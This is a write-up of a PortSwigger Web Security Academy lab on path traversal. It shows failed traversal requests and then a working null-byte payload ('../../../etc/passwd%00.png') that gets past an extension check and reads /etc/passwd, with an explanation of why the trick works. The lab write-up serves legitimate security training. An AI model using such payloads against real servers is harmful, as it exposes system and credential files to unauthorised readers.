Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Path Traversal (Null Byte Bypass)
Difficulty Practitioner
Objective Retrieve the contents of /etc/passwd

File Path Traversal, Validation of File Extension with Null Byte Bypass

A shopping app displaying item images loads something like:

<img src="/image?filename=70.jpg">

Intercepting the request on Burp, the request looks like:

GET /image?filename=70.jpg HTTP/2

Trying earlier approaches:

GET /image?filename=../../../../../etc/passwd HTTP/2

returns "No such file", and:

GET /image?filename=/etc/passwd HTTP/2

also "No such file", and double-encoded traversal:

GET /image?filename=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/2

also returns "No such file". So plain traversal works at the filesystem level (presumably), but something else is rejecting the request — most likely a check on the file extension, since the app validates that filename ends with the expected extension (e.g. .png).

A null byte can terminate the string as far as the filesystem API is concerned, while the extension check on the original string still sees .png at the end:

GET /image?filename=../../../etc/passwd%00.png HTTP/2
Screenshot

The extension validation sees ...passwd%00.png ending in .png and passes it, but the underlying file read stops at the null byte and opens /etc/passwd. A PHP null byte (\0 or %00 in URL encoding) is a special character used to denote the end of a string in low-level languages like C.

While modern PHP natively handles null bytes, vulnerabilities arise when user input interacts with underlying C-based system libraries that blindly stop reading strings at the null byte. The legacy PHP null byte vulnerability (where a null byte chr(0) prematurely terminated strings in native C filesystem functions) was officially patched in PHP 5.3.4, released in December 2010 — but legacy systems still exist.

Screenshot

And with that, session finished.

Resources